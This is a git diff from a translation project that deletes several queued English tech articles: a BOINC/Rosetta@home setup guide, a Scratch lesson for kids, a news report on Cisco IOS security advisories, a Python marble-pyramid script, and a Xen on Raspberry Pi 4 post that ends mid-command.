while maintaining MediaWiki's open license. All features relevant for small and large enterprises are in BlueSpice. Organizations planning to introduce a centralized knowledge-management system might find BlueSpice to be a good alternative to its famous commercial competitor. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/bluespice - -作者:[Martin Loschwitz][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/martinloschwitzorg -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_desk_home_laptop_browser.png?itok=Y3UVpY0l (Digital images of a computer desktop) -[2]: https://bluespice.com/products/bluespice-free -[3]: https://www.mediawiki.org/wiki/MediaWiki -[4]: https://opensource.com/sites/default/files/uploads/bluespice_math-formula.jpg (BlueSpice) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://opensource.com/sites/default/files/uploads/bluespice_organizationchart.jpg (BlueSpice Namespaces) -[7]: https://bluespice.com/products/bluespice-farm/ -[8]: https://opensource.com/sites/default/files/uploads/bluespice_search_fulltext.jpg (BlueSpice search) -[9]: https://www.elastic.co/elasticsearch/ -[10]: https://opensource.com/sites/default/files/uploads/bluespice_editor-2.jpg (BlueSpice WYSIWYG editor) -[11]: https://en.wikipedia.org/wiki/Help:Cheatsheet diff --git a/sources/tech/20200925 -email-protected-- Help the Fight Against COVID-19 With Your Linux System.md b/sources/tech/20200925 -email-protected-- Help the Fight Against COVID-19 With Your Linux System.md deleted file mode 100644 index 8a09f63907..0000000000 --- a/sources/tech/20200925 -email-protected-- Help the Fight Against COVID-19 With Your Linux System.md +++ /dev/null @@ -1,231 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Rosetta@home: Help the Fight Against COVID-19 With Your Linux System) -[#]: via: (https://itsfoss.com/boinc-setup/) -[#]: author: (Dimitrios Savvopoulos https://itsfoss.com/author/dimitrios/) - -Rosetta@home: Help the Fight Against COVID-19 With Your Linux System -====== - -Want to contribute to the research on coronavirus? You don’t necessarily have to be a scientist for this. You may contribute with part of your computer’s computing power thanks to Rosetta@home project. - -Sounds interesting? Let me share more details on it. - -### What is Rosetta@home? - -Rosetta@home is a [distributed computing][2] project for protein structure prediction, based at the Baker laboratory at the University of Washington and running on the Berkeley Open Infrastructure for Network Computing (BOINC) open source platform, which was originally developed to support the [Rosetta@home][3]. - -**Not enough computing power? Utilize the power of distributed computing** - -To predict and design the structures of naturally occurring proteins is very computationally intensive. To speed up the process, [Dr. David Becker][4] had filled the entire lab and the hallway with desktop computers. Then they started getting complaints of heating up the building, but still didn’t have enough computing power to accurately predict and design protein structures. - -**How does Rosetta@home work?** - -Rosetta@home uses idle computer processing power from volunteers’ computers to perform calculations on individual work units. When a requested task is being completed, the client sends the results to a central project server where they are validated and incorporated into project databases. - -![][5] - -As of 28th March 2020 the computing power of Rosetta@home has been increased up to 1.7 PetaFlops, due to the recently joined users looking to participate in the fight against the COVID-19 pandemic. Thanks to that, **On 26th June 2020, Rosetta@home researchers announced they had created antiviral proteins that neutralized SARS-CoV-2 in the lab.** - -Is BOINC platform safe? - -After few years of operation on millions of systems, there have been no security incidents reported due to BOINC. This fact doesn’t mean that there is no possibility of a security risks. - -BOINC uses a mechanism called **code signing**, based on _public-key cryptography_, that eliminates the vulnerability, as long as projects use proper practice. Each project has a code-signing key pair consisting of a public key and a private key which is used to create “signatures” for programs. The BOINC client will only run programs with valid signatures. - -Projects are instructed to keep the private key only on a computer that is permanently offline to create signatures. Therefore hackers cannot trick BOINC into running malware. - -Most BOINC projects follow these practices. If you’re concerned about security, you should attach to a project only if you know it follows the code-signing procedure correctly. If in doubt, you may ask project administrators to describe how they do code signing. - -### Contributing to Rosetta@home with BOINC platform - -![][6] - -If you are interested in contributing to the scientific research by donating some computing power, you’ll find rest of this article helpful. - -I’ll discuss the following: - - * Prerequisite for joining BOINC platform - * Using BOINC platform to donate computing power to a project of your choice via your desktop Linux - * Using Raspberry Pi to run BOINC all the time - - - -#### System Requirements of the BOINC platform - -The BOINC distributed computing platform with which you can access Rosetta@home is available on a 64bit operating system such as Windows, Linux, and macOS and FreeBSD. - -You will need a CPU of at least 500 MHz, 200 megabytes of free disk space, 512 megabytes of RAM, and Internet connectivity. - -**The more CPU cores your system has, the more RAM is required as a work unit will “feed” each core.** - -#### Create a user account on BOINC platform - -Before you configure the BOINC platform, [create an account][7] using your computer. If you will use a Raspberry Pi, you can join the “crunch-on-arm” team. - -**Please note that the same account can be used to multiple machines at a time. All of your machines will appear on your account.** - -#### **Install BOINC platform** on various Linux distributions - -BOINC application has the following element: - - * boinc-client (daemon that runs the platform) - * boinctui: terminal based interface for selecting projects and other settings - * boinc-manager: GUI-based interface for selecting projects and other settings - - - -If you are using a server, you should install boinctui. If you are using Linux desktop, you can opt for boinc-manager. - -I’ll stick with the GUI tool in this part of the tutorial. - -**On Debian/Ubuntu** - -BOINC tools are available in the universe repository in Ubuntu 20.04 so make sure that you have [universe repository enabled on your Ubuntu system][8]. - -Use the following commands to install it: - -``` -sudo apt install boinc-client boinc-manager -``` - -Install BOINC on Fedora - -Open a terminal and enter the following command: - -``` -sudo dnf install boinc-client boinc-manager -``` - -Install BOINC on RedHat/CentOS - -First, make sure that the EPEL repository is enabled, by running following command on a terminal: - -``` -sudo yum install epel-release -``` - -You can now install the necessary packages: - -``` -sudo yum install boinc-client boinc-manager -``` - -#### Open the BOINC manager and add a project - -After installing, open BOINC manager. You will be asked to add a project and to create an account or login to an existing. - -![][9] - -Add your credentials and click finish when prompted. - -![][10] - -After a few minutes, the status will change to running. - -![][11] - -You don’t need to worry if your system resources will be consumed when you want to use your computer. **By default, if the BOINC manager notices that the user needs more than the 25% of CPU resources, the BOINC computation will be suspended.** - -If you want the application to be suspended at a lower or higher CPU usage, you can change your profile settings on the website where you created your account. - -### Rosetta@home on a Raspberry Pi 4 - -An ideal device to run 24/7 the Rosetta@home application is a Raspberry Pi, which is powerful enough and with very low power consumption. - -To fight COVID-19 using a Raspberry Pi 4, you need a model with 2 GB RAM or more. My personal recommendation is the 4 GB RAM option, because with my 2 GB model one of the cores is idling as it is running out of memory. - -#### **Step 1: Install Ubuntu Server** (Recommended) - -You need to have some [operating system on your Raspberry Pi][12]. [Installing Ubuntu server on Raspberry Pi][13] is one of the most convenient choices. - -#### **Step 2: Install BOINC platform** - -To install the BOINC client and the command line management interface run the following command on server running on the Raspberry Pi. - -``` -sudo apt install boinc-client boinctui -``` - -**Additional steps for Raspberry Pi 2 GB model** - -Your account by default is set to utilize 90% of the memory when the user is idling. The Rosetta work units require 1.9gb of memory to run on the Quad core Raspberry Pi, so there is a possibility for the client not be able to start due to the initial reading. If the Raspberry Pi runs out of memory, it will suspend one of the 4 running tasks as mentioned earlier. To override the 1.9gb threshold add the following lines to the location below: - -``` -sudo nano /var/lib/boinc-client/global_prefs_override.xml -``` - -**Add now these lines** - -``` - - 100.000000 - 100.000000 - 100.000000 - -``` - -![][14] - -This setting will increase the default memory available to Rosetta to the maximum amount of memory on the board. - -#### Step 3: Add Rosetta@home project - -On your Raspberry Pi command line type ‘boinctui’ and click enter to load the terminal GUI.  - -``` -boinctui -``` - -Press **F9** on the keyboard, to bring down the menu choices. Use the arrow keys to go to Projects and press Enter. - -You may notice a few available projects to choose from but if you are interested to actively support the fight against COVID-19 choose Rosetta. You will be prompted to either create a user account or to use an existing account. - -Select “Existing User” and the enter the credentials you created on the website at the initial step.  As you can see, I have already selected the Rosetta project. - -![][15] - -It will take a moment to download the work units, and then automatically it will start crunching data on your Raspberry Pi 4! - -#### Conclusion - -_**If you want to stop using BOINC, simply delete the boinc packages you installed earlier. I believe you know how to use your distribution’s package manager for removing software.**_ - -One of the benefits of distributing computing is to allow user’s to donate their system resources for the common good. Despite the grief the pandemic has spread worldwide, it can make us also to realize the necessity of volunteering in one way or the other. - -If you ever wondered about a [good use of your Raspberry Pi][16], Rosetta@home can be included to the list. - -Let us know at the comments below if you started “cruching” and which platform you chose. Stay safe! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/boinc-setup/ - -作者:[Dimitrios Savvopoulos][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/dimitrios/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/cdn-cgi/l/email-protection -[2]: https://www.computerhope.com/jargon/d/distribs.htm -[3]: https://en.wikipedia.org/wiki/SETI@home -[4]: https://www.ipd.uw.edu/people/ipd-faculty-staff/david-baker/ -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/09/rosetta-sharing-example.jpg?resize=780%2C278&ssl=1 -[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/09/rosetta-home-linux.png?resize=800%2C450&ssl=1 -[7]: http://boinc.bakerlab.org -[8]: https://itsfoss.com/ubuntu-repositories/ -[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/09/boinc-manager.png?resize=800%2C600&ssl=1 -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/09/boinc-credentials.png?resize=800%2C600&ssl=1 -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/09/boinc-manager-running.png?resize=800%2C800&ssl=1 -[12]: https://itsfoss.com/raspberry-pi-os/ -[13]: https://itsfoss.com/install-ubuntu-server-raspberry-pi/ -[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/09/rosetta-settings-local-override.png?resize=800%2C600&ssl=1 -[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/09/rosetta-add-project.png?resize=800%2C600&ssl=1 -[16]: https://itsfoss.com/raspberry-pi-projects/ diff --git a/sources/tech/20200925 Code your first algorithm in Scratch.md b/sources/tech/20200925 Code your first algorithm in Scratch.md deleted file mode 100644 index b5960d0cbb..0000000000 --- a/sources/tech/20200925 Code your first algorithm in Scratch.md +++ /dev/null @@ -1,151 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Code your first algorithm in Scratch) -[#]: via: (https://opensource.com/article/20/9/scratch) -[#]: author: (Jess Weichler https://opensource.com/users/cyanide-cupcake) - -Code your first algorithm in Scratch -====== -Learn how to get started with Scratch in this article in a series about -teaching kids to code. -![The back of a kid head][1] - -With more kids learning from home this year, it's important to engage them with unique learning opportunities. The classroom looks very different than it did before, and it's going to continue to evolve. So should the lessons we teach. - -In the [first article][2] in this series, I shared how my students taught me to code. Over the next few weeks, I will be exploring how educators and parents can harness the power of coding to teach kids a wide variety of skills. - -"But I don't know anything about coding!" you may be shouting at your computer. That's one of the beauties of open source code: everyone is a learner, and everyone is a teacher. Whether you're new to coding or you've been doing it all your life, part of the process is making mistakes. It's all about problem-solving and learning how to find information. The greatest tool an educator has in a coding classroom is the phrase, "I don't know; let's find out together!" - -So, let's begin! - -### What is code? - -Code is how you get a computer to do what you want it to do. Laptops, smartphones, video-game consoles, and even washing machines use code to work. And despite advancements in machine learning and AI, somebody has to write that code. - -Coders (also known as programmers) are the people who write code. But what is code, really? What exactly are programmers writing when they create software or fine-tune hardware? - -Code is made up of _algorithms_: highly structured and ordered lists of instructions, much like a recipe. Because computers aren't actually smart, these instructions are written in _code_ that must be parsed and compiled and transformed into _machine language_. Only then can computers perform the actions that programmers dictate. The key is to learn the syntax of the code so you can write words in the required order so that computers can decipher and process them. - -### What is Scratch? - -[Scratch][3] is a great platform for kids learning to code. It is a visual programming language designed for ages 8 and up. It uses drag-and-drop blocks that snap together to create animations, quizzes, and video games. Traditional coding requires a lot of typing without making any spelling errors, and the visual nature of Scratch makes it easy for young writers to learn to code without getting bogged down with spelling errors. - -Scratch is not just about coding, though. It also encourages an open online community by empowering users to share and remix projects. There's also an offline version available for classrooms and households with limited internet connectivity. - -### Learn the lingo - -Even if a child has used Scratch before, this lesson is important for ensuring they understand coding terminology and logic. - -![Scratch interface][4] - -(Jess Weichler, [CC BY-SA 4.0][5]) - -Using Scratch, you can create video games using **code blocks** that snap together to form a script. A **script** is an ordered list of instructions, like a recipe. Another word for "script" is **algorithm**. - -A **sprite** is a character or object in the game. The **stage** is the background of the game. Scripts can be used to control sprites and the stage. - -Every script starts with a special code block called an **event hat**. These blocks have rounded tops. An event hat waits for something to happen before running all the code blocks underneath it. - -Scratch follows scripts exactly, so you must be specific when telling it what to do. - -### Get coding - -Try the following challenges to get started on your coding journey. - -#### Challenge #1: Create a simple algorithm to move a sprite right when you press the right arrow key. - -Did your algorithm work as you expected? Does your sprite move right when the right arrow is pressed? How did you do it? - -When coding, there are often multiple solutions to a problem. Here are two of the most common ways you may have coded the sprite to move when the right arrow is pressed: - -![Possibility One: When right arrow pressed, move 10 steps . Possibility Two: When right arrow pressed, change x by 10.][6] - -(Jess Weichler, [CC BY-SA 4.0][5]) - -Let's experiment. - - * What happens if you change the number? - * What happens when your sprite reaches the edge of the screen? - * What motion code block could prevent the sprite from disappearing when it reaches the edge? - - - -![Possibility One: When right arrow pressed, move 15 steps, if on edge, bounce. Possibility Two: When right arrow pressed, change x by 15, if on edge, bounce][7] - -(Jess Weichler, [CC BY-SA 4.0][5]) - -Now what happens? How can you solve it? - -To stop the sprite from flipping upside-down after hitting an edge: select the sprite and click **Direction**. Select the **Left/Right** icon or the **Do Not Rotate** icon. - -![Scratch code][8] - -(Jess Weichler, [CC BY-SA 4.0][5]) - -Errors in code, such as this, are called **bugs**. Bugs are a normal part of coding. - -Fixing code is called **debugging**. - -Test your game again. Do you notice any more bugs? - - * If your sprite is bouncing off the right side of the screen, you are ready for the next challenge. - * If, when your sprite touches the right side of the screen, it starts moving left when you press the right arrow, add one more code block to the algorithm. - - - -![Possibility One: When right arrow pressed, point in direction 90, move 15 steps, if on edge, bounce. Possibility Two: No change][9] - -(Jess Weichler, [CC BY-SA 4.0][5]) - -#### Challenge #2: Make the sprite move left when you press the left arrow. - -You have all the skills and knowledge you need to ace this challenge! How will you complete it? - -[Click here for my solution][10]. - -If you're using a screen reader, or you prefer text, select this spoiler text to reveal the answer: - -**Possibility One:** When right arrow pressed, point in direction 90, move 15 steps, if on edge, bounce -When left arrow pressed, point in direction -90, move 15 steps, if on edge, bounce - -**Possibility Two:** When right arrow pressed, change x by 15, if on edge, bounce -When left arrow pressed, change x by -15, if on edge, bounce - -When you're happy with what you've made, name and save your project. Do not select "save as" or "save a copy," as this will create a duplicate project. Just click **Save** or **Save Now**. - -Congratulations, you've created your first two algorithms! - -### Don't stop here - -Coding is all about experimenting and iterating until you get the desired result. This is one of many reasons I love it as a teaching tool. And don't stop with just this introductory lesson. - -Pose a problem and try to solve it with Scratch. For instance, can you make a game in which the Scratch cat finds an object and "eats" it? Look through the available blocks and formulate a plan, then construct a script. - -Most importantly, don't give up, and remember, there's no wrong answer! It's all about creativity, being inventive, and having fun. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/scratch - -作者:[Jess Weichler][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cyanide-cupcake -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/idea_innovation_kid_education.png?itok=3lRp6gFa (The back of a kid head) -[2]: https://opensource.com/article/20/9/how-my-students-taught-me-code -[3]: https://scratch.mit.edu/ -[4]: https://opensource.com/sites/default/files/uploads/codekids2_1_interface.png (Scratch interface) -[5]: https://creativecommons.org/licenses/by-sa/4.0/ -[6]: https://opensource.com/sites/default/files/uploads/codekids2_2_code.png (Scratch code) -[7]: https://opensource.com/sites/default/files/uploads/codekids2_3_code.png (Scratch code) -[8]: https://opensource.com/sites/default/files/uploads/codekids2_4_code.png (Scratch code) -[9]: https://opensource.com/sites/default/files/uploads/codekids2_5_code.png (Scratch code) -[10]: https://opensource.com/sites/default/files/scratch3-left-right_answer.png diff --git a/sources/tech/20200926 Cisco turns out security patches 25 high-threat flaws for IOS, IOS XE.md b/sources/tech/20200926 Cisco turns out security patches 25 high-threat flaws for IOS, IOS XE.md deleted file mode 100644 index dc08d1ec01..0000000000 --- a/sources/tech/20200926 Cisco turns out security patches 25 high-threat flaws for IOS, IOS XE.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Cisco turns out security patches 25 high-threat flaws for IOS, IOS XE) -[#]: via: (https://www.networkworld.com/article/3583654/cisco-turns-out-security-patches-25-high-threat-flaws-for-ios-ios-xe.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Cisco turns out security patches 25 high-threat flaws for IOS, IOS XE -====== -Cisco this week posted 25 security advisories defining 34 vulnerabilities rated high that should be fixed right away -[Nathan Cowley / Ivanastar / Getty Images][1] - -If you are a security admin with lots of systems running Cisco IOS and IOS XE software today is decidedly not your day. - -Cisco this week posted 25 “High” rated security advisories that stem from 34 vulnerabilities the company suggests should be fixed as soon as possible. The vulnerabilities impact a wide-range of Cisco gear as IOS and IOS XE are the company’s most widely used operating systems. The warnings affect firewalls, wireless access points and switches. - -[Network pros react to new Cisco certification curriculum][2] - -For example, one of the highest rated threats--with an 8.6 out of 10 threat level, are [multiple vulnerabilities][3] in the Zone-Based Firewall feature of Cisco IOS XE Software that could let an remote attacker to cause the device to reload or stop forwarding traffic through the [firewall][4],resulting in a denial of service (DoS). - -Cisco stated that the vulnerabilities are due to incomplete handling of Layer 4 packets through the device. An attacker could exploit these vulnerabilities by sending a certain sequence of traffic patterns through the device.  - -Another 8.6-rated vulnerability involves the [Split DNS feature][5] of Cisco IOS Software and Cisco IOS XE Software could let an unauthenticated, remote attacker cause an affected device to reload, resulting in a DoS condition. - -“The vulnerability occurs because the regular expression (regex) engine that is used with the Split [DNS][6] feature of affected releases may time out when it processes the DNS name list configuration. An attacker could exploit this vulnerability by trying to resolve an address or hostname that the affected device handles,” Cisco stated. - -Still another 8.6-rated security threat involves a vulnerability in the [DHCP][7] message handler of Cisco IOS XE Software for Cisco cBR-8 Converged Broadband Routers.  The vulnerability is due to insufficient error handling when DHCP version 4 (DHCPv4) messages are parsed. An attacker could exploit this vulnerability by sending a malicious DHCPv4 message to or through a WAN interface of an affected device. A successful exploit could allow the attacker to cause a reload of the affected device, Cisco stated. - -Some of the other threat advisories include: - - * A vulnerability in the [WPA2 and WPA3 security implementation][8] of Cisco IOS XE Wireless Controller Software for the Cisco Catalyst 9000 Family could let an unauthenticated, adjacent attacker send a crafted authentication packet to an affected device. A successful exploit could cause it to reload, resulting in a DoS condition. The vulnerability is due to incorrect packet processing during the WPA2 and WPA3 authentication handshake when configured for dot1x or pre-shared key (PSK) authentication key management (AKM) with 802.11r BSS Fast Transition (FT) enabled, Cisco stated. - * A vulnerability in the [Umbrella Connector][9] component of Cisco IOS XE Software for Cisco Catalyst 9200 Series Switches could allow an unauthenticated, remote attacker to trigger a reload, resulting in a DOS condition on an affected device. The vulnerability is due to insufficient error handling when parsing DNS requests. An attacker could exploit this vulnerability by sending a series of malicious DNS requests to an Umbrella Connector client interface of an affected device. - * Multiple vulnerabilities in the [web management framework of Cisco IOS XE][10] Software could allow an authenticated, remote attacker with read-only privileges to elevate them to _Administrator_ on an affected device. For example, a vulnerability in the APIs of the web management framework of Cisco IOS XE Software could lead to such an attack. Another weakness in the authentication controls of the web management framework of Cisco IOS XE Software could allow an authenticated, remote attacker with read-only privileges to elevate privileges to _Administrator_ on an affected device. - - - -Workarounds are not available, but patches or software updates addressing all of the vulnerabilities are [available][11], Cisco stated. - -Join the Network World communities on [Facebook][12] and [LinkedIn][13] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3583654/cisco-turns-out-security-patches-25-high-threat-flaws-for-ios-ios-xe.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.pexels.com/photo/man-in-blue-and-brown-plaid-dress-shirt-touching-his-hair-897817/ -[2]: https://www.networkworld.com/article/3446044/network-pros-react-to-new-cisco-certification-curriculum.html -[3]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-zbfw-94ckG4G -[4]: https://www.networkworld.com/article/3230457/what-is-a-firewall-perimeter-stateful-inspection-next-generation.html -[5]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-splitdns-SPWqpdGW -[6]: https://www.networkworld.com/article/3268449/what-is-dns-and-how-does-it-work.html -[7]: https://www.networkworld.com/article/3299438/dhcp-defined-and-how-it-works.html -[8]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wpa-dos-cXshjerc -[9]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-umbrella-dos-t2QMUX37 -[10]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ios-webui-priv-esc-K8zvEWM#d -[11]: https://tools.cisco.com/security/center/home.x -[12]: https://www.facebook.com/NetworkWorld/ -[13]: https://www.linkedin.com/company/network-world diff --git a/sources/tech/20200929 This Python script mimics Babbage-s Difference Engine.md b/sources/tech/20200929 This Python script mimics Babbage-s Difference Engine.md deleted file mode 100644 index e068b55acc..0000000000 --- a/sources/tech/20200929 This Python script mimics Babbage-s Difference Engine.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (This Python script mimics Babbage's Difference Engine) -[#]: via: (https://opensource.com/article/20/10/babbages-python) -[#]: author: (Greg Pittman https://opensource.com/users/greg-p) - -This Python script mimics Babbage's Difference Engine -====== -Python once again takes on Charles Babbage's Difference Engine. -![Math formulas in green writing][1] - -In [_Use this Python script to simulate Babbage's Difference Engine_][2], Python offered an alternative solution to Babbage's problem of determining the number of marbles in a two-dimensional pyramid. Babbage's [Difference Engine][3] solved this using a table showing the number of marble rows and the total number of marbles. - -After some contemplation, [Charles Babbage][4]'s ghost replied, "This is all well and good, but here you only take the number of rows and give the number of marbles. With my table, I can also tell you how large a pyramid you might construct given a certain number of marbles; simply look it up in the table." - -Python had to agree that this was indeed the case, yet it knew that surely this must be solvable as well. With little delay, Python came back with another short script. The solution involves thinking through the math in reverse. - - -``` -`MarbNum = (N * (N + 1))/2` -``` - -Which I can begin to solve with: - - -``` -`N * (N + 1) = MarbNum * 2` -``` - -From which an approximate solution might be: - - -``` -`N = int(sqrt(MarbNum * 2))` -``` - -But the integer _N_ that solves this might be too large by one, so I need to test for this. In other words, the correct number of rows will either be _N_ or _N-1_. Here is the final script: - - -``` -#!/usr/bin/env python -# babbage2.py -""" -Using Charles Babbage's conception of a marble-counting operation for a regular -pyramid of marbles, starting with one at the top with each successive row having -one more marble than the row above it. -Will give you the total number of rows possible for a pyramid, given a total number -of marbles available. -As a bonus, you also learn how many are left over. -""" -import math - -MarbNum = input("Enter the number of marbles you have:  ") -MarbNum = int(MarbNum) - -firstguess = int(math.sqrt(MarbNum*2)) - -if (firstguess * (firstguess + 1) > MarbNum*2): -    correctNum = firstguess - 1 -else: -    correctNum = firstguess - -MarbRem = int(MarbNum - (correctNum * (correctNum + 1)/2)) -# some grammatical fixes -if MarbRem == 0: -    MarbRem = "no" -  -if MarbRem == 1: -    marbleword = "marble" -else: -    marbleword = "marbles" -    -print ("You can have",correctNum, "rows, with",MarbRem, marbleword, "remaining.") -``` - -The output will look something like this: - - -``` -Enter the number of marbles you have:  374865 -You can have 865 rows, with 320 marbles remaining. -``` - -And Mr. Babbage's ghost was impressed. "Ah, your Python Engine is impressive indeed! Surely it might rival my [Analytical Engine][5], had I had the time to complete that project." - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/10/babbages-python - -作者:[Greg Pittman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/greg-p -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/edu_math_formulas.png?itok=B59mYTG3 (Math formulas in green writing) -[2]: https://opensource.com/article/20/9/babbages-python -[3]: https://en.wikipedia.org/wiki/Difference_engine -[4]: https://en.wikipedia.org/wiki/Charles_Babbage -[5]: https://en.wikipedia.org/wiki/Analytical_Engine diff --git a/sources/tech/20200929 Xen on Raspberry Pi 4 adventures.md b/sources/tech/20200929 Xen on Raspberry Pi 4 adventures.md deleted file mode 100644 index a21b4fca9c..0000000000 --- a/sources/tech/20200929 Xen on Raspberry Pi 4 adventures.md +++ /dev/null @@ -1,156 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Xen on Raspberry Pi 4 adventures) -[#]: via: (https://www.linux.com/featured/xen-on-raspberry-pi-4-adventures/) -[#]: author: (Linux.com Editorial Staff https://www.linux.com/author/linuxdotcom/) - -Xen on Raspberry Pi 4 adventures -====== - -Written by [Stefano Stabellini][1] and [Roman Shaposhnik][2] - -![][3] - -Raspberry Pi (RPi) has been a key enabling device for the Arm community for years, given the low price and widespread adoption. According to the RPi Foundation, over 35 million have been sold, with 44% of these sold into industry. We have always been eager to get the Xen hypervisor running on it, but technical differences between RPi and other Arm platforms made it impractical for the longest time. Specifically, a non-standard interrupt controller without virtualization support. - -Then the Raspberry Pi 4 came along, together with a regular GIC-400 interrupt controller that Xen supports out of the box. Finally, we could run Xen on an RPi device. Soon Roman Shaposhnik of Project EVE and a few other community members started asking about it on the **xen-devel** mailing list. _“It should be easy,”_ we answered. _“It might even work out of the box,”_ we wrote in our reply. We were utterly oblivious that we were about to embark on an adventure deep in the belly of the Xen memory allocator and Linux address translation layers. - -The first hurdle was the availability of low memory addresses. RPi4 has devices that can only access the first 1GB of RAM. The amount of memory below 1GB in **Dom0** was not enough. Julien Grall solved this problem with a simple one-line fix to increase the memory allocation below 1GB for **Dom0** on RPi4. The patch is now present in Xen 4.14. - -_“This lower-than-1GB limitation is uncommon, but now that it is fixed, it is just going to work.”_ We were wrong again. The Xen subsystem in Linux uses _virt_to_phys_ to convert virtual addresses to physical addresses, which works for most virtual addresses but not all. It turns out that the RPi4 Linux kernel would sometimes pass virtual addresses that cannot be translated to physical addresses using _virt_to_phys_, and doing so would result in serious errors. The fix was to use a different address translation function when appropriate. The patch is now present in Linux’s master branch. - -We felt confident that we finally reached the end of the line. _“Memory allocations – check. Memory translations — check. We are good to go!”_ No, not yet. It turns out that the most significant issue was yet to be discovered. The Linux kernel has always had the concept of physical addresses and DMA addresses, where DMA addresses are used to program devices and could be different from physical addresses. In practice, none of the x86, ARM, and ARM64 platforms where Xen could run had DMA addresses different from physical addresses. The Xen subsystem in Linux is exploiting the DMA/physical address duality for its own address translations. It uses it to convert physical addresses, as seen by the guest, to physical addresses, as seen by Xen. - -To our surprise and astonishment, the Raspberry Pi 4 was the very first platform to have physical addresses different from DMA addresses, causing the Xen subsystem in Linux to break. It wasn’t easy to narrow down the issue. Once we understood the problem, a dozen patches later, we had full support for handling DMA/physical address conversions in Linux. The Linux patches are in master and will be available in Linux 5.9. - -Solving the address translation issue was the end of our fun hacking adventure. With the Xen and Linux patches applied, Xen and Dom0 work flawlessly. Once Linux 5.9 is out, we will have Xen working on RPi4 out of the box. - -We will show you how to run Xen on RPi4, the real Xen hacker way, and as part of a downstream distribution for a much easier end-user experience. - -## **Hacking Xen on Raspberry Pi 4** - -If you intend to hack on Xen on ARM and would like to use the RPi4 to do it, here is what you need to do to get Xen up and running using UBoot and TFTP. I like to use TFTP because it makes it extremely fast to update any binary during development.  See [this tutorial][4] on how to set up and configure a TFTP server. You also need a UART connection to get early output from Xen and Linux; please refer to [this article][5]. - -Use the [rpi-imager][6] to format an SD card with the regular default Raspberry Pi OS. Mount the first SD card partition and edit **config.txt**. Make sure to add the following: - -``` -kernel=u-boot.bin - -enable_uart=1 - -arm_64bit=1 -``` - -Download a suitable UBoot binary for RPi4 (u-boot.bin) from any distro, for instance [OpenSUSE][7]. Download the JeOS image, then open it and save **u-boot.bin**: - -``` -xz -d openSUSE-Tumbleweed-ARM-JeOS-raspberrypi4.aarch64.raw.xz - -kpartx -a ./openSUSE-Tumbleweed-ARM-JeOS-raspberrypi4.aarch64.raw - -mount /dev/mapper/loop0p1 /mnt - -cp /mnt/u-boot.bin /tmp -``` - -Place u-boot.bin in the first SD card partition together with config.txt. Next time the system boots, you will get a UBoot prompt that allows you to load Xen, the Linux kernel for **Dom0**, the **Dom0 rootfs**, and the device tree from a TFTP server over the network. I automated the loading steps by placing a UBoot **boot.scr** script on the SD card: - -``` -setenv 